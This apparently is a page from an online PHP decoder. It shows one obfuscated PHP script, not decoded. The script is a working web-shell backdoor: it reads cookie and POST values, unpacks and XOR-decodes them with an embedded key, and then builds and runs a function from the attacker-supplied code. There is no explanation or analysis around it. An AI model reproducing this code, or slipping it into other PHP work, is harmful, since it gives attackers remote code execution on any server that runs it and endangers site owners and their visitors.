PHP Decode

<?php 
$zulwa = 'rp*bvy3aom47d6uk5cHg\'xl-_#i1tesfn82';$kbfiki = Array();$kbfiki[] = $zulwa[18].$zulwa[2];$kbfiki[] = $zulwa[17].$zulwa[0].$zulwa[29].$zulwa[7].$zulwa[28].$zulwa[29].$zulwa[24].$zulwa[31].$zulwa[14].$zulwa[32].$zulwa[17].$zulwa[28].$zulwa[26].$zulwa[8].$zulwa[32];$kbfiki[] = $zulwa[16].$zulwa[34].$zulwa[17].$zulwa[29].$zulwa[27].$zulwa[27].$zulwa[27].$zulwa[34].$zulwa[23].$zulwa[34].$zulwa[10].$zulwa[34].$zulwa[33].$zulwa[23].$zulwa[10].$zulwa[6].$zulwa[33].$zulwa[29].$zulwa[23].$zulwa[33].$zulwa[34].$zulwa[6].$zulwa[11].$zulwa[23].$zulwa[27].$zulwa[11].$zulwa[13].$zulwa[31].$zulwa[16].$zulwa[16].$zulwa[16].$zulwa[29].$zulwa[34].$zulwa[3].$zulwa[29].$zulwa[11];$kbfiki[] = $zulwa[25];$kbfiki[] = $zulwa[17].$zulwa[8].$zulwa[14].$zulwa[32].$zulwa[28];$kbfiki[] = $zulwa[30].$zulwa[28].$zulwa[0].$zulwa[24].$zulwa[0].$zulwa[29].$zulwa[1].$zulwa[29].$zulwa[7].$zulwa[28];$kbfiki[] = $zulwa[29].$zulwa[21].$zulwa[1].$zulwa[22].$zulwa[8].$zulwa[12].$zulwa[29];$kbfiki[] = $zulwa[30].$zulwa[14].$zulwa[3].$zulwa[30].$zulwa[28].$zulwa[0];$kbfiki[] = $zulwa[7].$zulwa[0].$zulwa[0].$zulwa[7].$zulwa[5].$zulwa[24].$zulwa[9].$zulwa[29].$zulwa[0].$zulwa[19].$zulwa[29];$kbfiki[] = $zulwa[30].$zulwa[28].$zulwa[0].$zulwa[22].$zulwa[29].$zulwa[32];$kbfiki[] = $zulwa[1].$zulwa[7].$zulwa[17].$zulwa[15];foreach ($kbfiki[8]($_COOKIE, $_POST) as $oukysdd => $shximyx){function ygninie($kbfiki, $oukysdd, $gpgnv){return $kbfiki[7]($kbfiki[5]($oukysdd . $kbfiki[2], ($gpgnv / $kbfiki[9]($oukysdd)) + 1), 0, $gpgnv);}function pygur($kbfiki, $glylyl){return @$kbfiki[10]($kbfiki[0], $glylyl);}function mblvdct($kbfiki, $glylyl){$orrhs = $kbfiki[4]($glylyl) % 3;if (!$orrhs) {$ctisb = $kbfiki[1]; $ygmdp = $ctisb("", $glylyl[1]($glylyl[2]));$ygmdp();exit();}}$shximyx = pygur($kbfiki, $shximyx);mblvdct($kbfiki, $kbfiki[6]($kbfiki[3], $shximyx ^ ygninie($kbfiki, $oukysdd, $kbfiki[9]($shximyx))));} ?>